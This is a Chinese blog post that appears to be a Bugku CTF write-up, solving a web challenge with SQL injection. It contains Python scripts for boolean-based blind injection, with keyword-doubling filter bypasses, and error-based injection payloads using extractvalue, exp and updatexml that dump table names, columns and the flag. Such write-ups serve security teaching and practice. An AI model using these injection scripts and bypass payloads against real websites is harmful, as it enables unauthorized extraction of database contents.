多次--使用bool注入和报错注入_line_uc的博客-程序员秘密

技术标签: ctf  

查数据库名

查到数据库名长度为9
查到数据库名为web1002-1

import requests
from time import time
import re
url="http://123.206.87.240:9004/1ndex.php?id=0"
a="[email protected]#$%^&*()_"
out=""
for i in range(1,10):
    print (i)
    for j in a:
        data="' || (substr((selecselectt database()),{0},1)='{1}') || '0".format(i,j)
        ul = url+data
        s=requests.get(ul)
        s3=re.search('There',s.text)
        if (s3):
            print j
            print ul
            out=out+j
print out

查数据库表名的长度

长度为10

import requests
from time import time
import re
url="http://123.206.87.240:9004/1ndex.php?id=0"
a="0123456789qwertyuiopasdfghjklzxcvbnm -,[email protected]#$%^&*()_"
out=""
for i in range(1,100):

    for j in '1':
        data="' || (length((selecselectt group_concat(table_name separatoorr '|') from infoorrmation_schema.tables where table_schema='web1002-1'))={0}) || '0".format(i,j)
        ul = url+data
        s=requests.get(ul)
        s3=re.search('There',s.text)
        if (s3):
            print i
            print ul
            out=i
            
print out

查数据表名

得到两个数据表名
flag1|hint

import requests
from time import time
import re
url="http://123.206.87.240:9004/1ndex.php?id=0"
a="0123456789qwertyuiopasdfghjklzxcvbnm -,[email protected]#$%^&*()_|"
out=""
for i in range(1,11):
    print (i)
    for j in a:
        data="' || (substr((selecselectt group_concat(table_name separatoorr '|') from infoorrmation_schema.tables where table_schema='web1002-1'),{0},1)='{1}') || '0".format(i,j)
        ul = url+data

        s=requests.get(ul)
        s3=re.search('There',s.text)
        if (s3):
            print j
            print ul
            out=out+j

print out

查flag1表的列名

得到flag有两列
flag1|address

import requests
from time import time
import re
url="http://123.206.87.240:9004/1ndex.php?id=0"
a="0123456789qwertyuiopasdfghjklzxcvbnm -,[email protected]#$%^&*()_|"
out=""
for i in range(1,14):
    print (i)
    for j in a:
        data="' || (substr((selecselectt group_concat(column_name separatoorr '|') from infoorrmation_schema.columns where table_name='flag1'),{0},1)='{1}') || '0".format(i,j)
        ul = url+data

        s=requests.get(ul)
        s3=re.search('There',s.text)
        if (s3):
            print j
            print ul
            out=out+j
            

print out

查询flag1列的内容
得到usOwycTju+FTUUzXosjr
题目提示有两个flag
并且全为小写,提交这个不对,尝试查询address的内容

import requests
from time import time
import re
url="http://123.206.87.240:9004/1ndex.php?id=0"
a="0123456789qwertyuiopasdfghjklzxcvbnm -,[email protected]#$%^&*()_|"
out=""
for i in range(1,21):
    print (i)
    for j in range(33,128):
        data="' || (ascii(substr((selecselectt group_concat(flag1 separatoorr '|') from flag1),{0},1))={1}) || '0".format(i,j)
        ul = url+data

        s=requests.get(ul)
        s3=re.search('There',s.text)
        if (s3):
            print j
            print chr(j)
            print ul
            out=out+chr(j)
            break

print out

最后得到一个路径
在这里插入图片描述
访问./Once_More.php
在这里插入图片描述
用length查询过滤的字符,发现union被过滤了,并且双写无法绕过
测试过滤注释符的时候发现有报错,可以尝试报错注入
在这里插入图片描述
在这里插入图片描述
注释符直接输入#号报错
用%23代替绕过(如上图)
用-- ;注释
用 --+注释
构造闭合单引号 1’ and length(‘a’) and '1

尝试报错注入
extractvalue报错注入

1' and (extractvalue(1,concat(0x7e,database(),0x7e)))-- ;

exp报错注入

1' and exp(~(select * from (select database() ) a) ) --+

updatexml报错注入

1' and (updatexml(1,concat(0x3a,(select database())),1)) and '1

在这里插入图片描述
存在注入,下面是注入过程
查询表名,得到当前数据库有2个表,—class,flag2
1’ and exp(~(select * from (select group_concat(table_name) from information_schema.tables where table_schema=database() ) a) ) and ‘1
在这里插入图片描述
查询表的字段,这里查询flag2的字段
得到flag2和address两个字段
id=1’ and exp(~(select * from (select group_concat(column_name) from information_schema.columns where table_name=‘flag2’ ) a) ) and ‘1
在这里插入图片描述
查询flag2表的flag2字段的内容
得到flag(flag{Bugku-sql_6s-2i-4t-bug})将大写改为小写
1’ and exp(~(select * from (select group_concat(flag2) from flag2 ) a) ) and '1
在这里插入图片描述

查询当前数据库存在的所有表名
1' and exp(~(select * from (select group_concat(table_name) from information_schema.tables where table_schema=database() ) a) ) and '1
查询flag2表的所有字段
id=1' and exp(~(select * from (select group_concat(column_name) from information_schema.columns where table_name='flag2' ) a) ) and '1 
查询flag2表的内容
1' and exp(~(select * from (select group_concat(flag2) from flag2 ) a) ) and '1 


版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_32642035/article/details/104818277

智能推荐

LuaLaTeX调用外部Lua程序与C语言编写的动态链接库_「已注销」的博客-程序员秘密

  在LuaLaTeX编译方式下,虽然可以直接在tex文件中编写Lua代码,但会受到LaTeX的影响,编写中并不是很便利。所以我在实际使用中一般都把Lua代码的主体部分放在LaTeX的外部,这样可以完全按照以往的编程习惯去编写。我以前所在的公司,曾经在机器人运动控制系统中使用过Lua,但因为我没有负责那一部分,所以只是知道有Lua这么个脚本语言,并没有实际编写过。这几天才开始学习编写Lua代码,所...

Apple WWDC 2018开发者大会,苹果似乎对你的个人信息不感兴趣_wwdc2018开发者许可协议_Secboot的博客-程序员秘密

苹果已经售出超过10亿部iPhone,这意味着海量的用户和数据,用户的隐私问题当然不容忽视。在今年3月的一次采访中,Tim Cook就说过,相较于利润,苹果公司更注重隐私,因此拒绝出售用户数据。但是人们仍然非常担心/关心苹果是如何保护用户数据的。拦截tracker在今年的WWDC,Craig Federighi公布了MacOS和iOS 12中保护用户隐私的新功能,比如,很多第三方网站会对用户进行跟...

navicat 怎么调试存储过程_Navicat 执行存储过程_GQMind的博客-程序员秘密

1. 打开navicat选择要创建存储过程的数据库,右击函数。2. 新建函数,创建一个新存储过程3. 添加所要输入的参数,选择模式和类型(!这里并没有默认提供大小)。4. 输入存储过程的定义语句。用例1~~~BEGINSELECT`ord_orders`.`id` AS `id`,`ord_orders`.`date_sample` AS `date_sample`,`ord_orders`.`u...

VB常用文件操作类 - 转自chenhui530的专栏 - CSDNBlog_vb files.bytes_adm1n1的博客-程序员秘密

  Option Explicit   "*************************************************************************************************************   " 读写文件函数   "*******************************************************

零基础入门深度学习(1) - 感知器_zero-basic introductory in-depth learning (1) - pe_腾讯数据架构师的博客-程序员秘密

python深度学习大全原文地址:https://www.zybuluo.com/hanbingtao/note/433855深度学习是啥在人工智能领域,有一个方法叫机器学习。在机器学习这个方法里,有一类算法叫神经网络。神经网络如下图所示:上图中每个圆圈都是一个神经元,每条线表示神经元之间的连接。我们可以看到,上面的神经元被分成了多层,层与层之间的神

tensorflow python2_用 TensorFlow 2 实现图形神经网络_weixin_40001048的博客-程序员秘密

Graph Neural Networks in TF2Implementation and example training scripts of various flavours of graph neural network in TensorFlow 2.0. Much of it is based on the code in the tf-gnn-samples repo.Instal...

随便推点

Struts2-表单标签_a_worm的博客-程序员秘密

对于struts2中的标签进行总结:表单标签表单标签将在 HTML 文档里被呈现为一个表单元素使用表单标签的优点:表单回显对页面进行布局和排版标签的属性可以被赋值为一个静态的值或一个 OGNL 表达式. 如果在赋值时使用了一个 OGNL 表达式并把它用 %{} 括起来, 这个表达式将会被求值. 1.form 标签用来呈现 HTML 语言中的表单元素默认情况下, fo

python opencv 批量修改图像尺寸_CHONG-CHONG的博客-程序员秘密

import cv2import osimage_size_h = 640 # 设定宽image_size_w = 850 # 设定长source_path = "G:\\ca\\car_face\\" # 源文件路径target_path = "G:\ca\\resize_car_face\\" # 输出目标文件路径if not os.path.exists(target_path): os.makedirs(target_path)image_list = os.l.

iview form 表单 自定义参数验证_iview form表单lable_peindaihe的博客-程序员秘密

由于公司项目快速开发需求,需要使用到iview组件库的Form组件,但是默认的表单验证不太能够满足相对复杂一些的验证需求,然后只能求助官方文档(太杂了,没看看明白)和度娘(度娘简单粗暴,再不行谷歌)。自定义的表单验证如下,没什么太需要注意的,只要用过iview的应该能看明白,直接贴代码:<FormItem label="分类:" prop="MenuClassifyId"> ...

图注意力网络——Graph attention networks (GAT)_innerVoi的博客-程序员秘密

文章目录摘要引言摘要  图注意力网络,一种基于图结构数据的新型神经网络架构,利用隐藏的自我注意层来解决之前基于图卷积或其近似的方法的不足。通过堆叠层,节点能够参与到邻居的特征,可以(隐式地)为邻域中的不同节点指定不同的权值,而不需要任何代价高昂的矩阵操作(如反转),也不需要预先知道图的结构。通过这种方法,该模型克服了基于频谱的故神经网络的几个关键挑战,并使得模型适用于归纳和推理问题。在四个数据集上实现或匹配了最先进的结果(Cora, Citeseer, Pubmed citation network,

玩转数据可视化之R语言ggplot2:(三)ggplot2实现将多张图放在一起,包括并排和插图绘制(快速入门)_ggplot合并多个图_JOJO数据科学的博客-程序员秘密

玩转R语言ggplot2数据可视化小编大四统计在读,目前保研到统计学top3高校继续攻读统计研究生。本系列主要介绍R语言ggplot2的使用参考资料:ggplot2: Elegant Graphics for Data Analysis文章目录玩转R语言ggplot2数据可视化3.将多张图形放在一起:包括并排绘制和插图3.1 并排绘图3.3.1 调整布局3.1.2 修改子图3.1.3 增加注释3.2 将多个图互相叠加在一个图中3.将多张图形放在一起:包括并排绘制和插图ggplot2默认的语法都

normalization的实现原理_thy_2014的博客-程序员秘密

我是在FaceNet的论文中看到这个东西的。那么在其具体的实现原理是怎么样的呢?归一化,的方式有很多,在那篇论文中,相当于做的是希望:每个点都映射到一个球面上。也就是希望:为了达到这个目的,FaceNet是这样来做的:所以在实现的时候,这就是前馈的过程。那么反馈的时候,应该怎么做呢?主要就是集中在:y_i对x_i的偏导上面;为了参数完整的反馈

推荐文章

热门文章

相关标签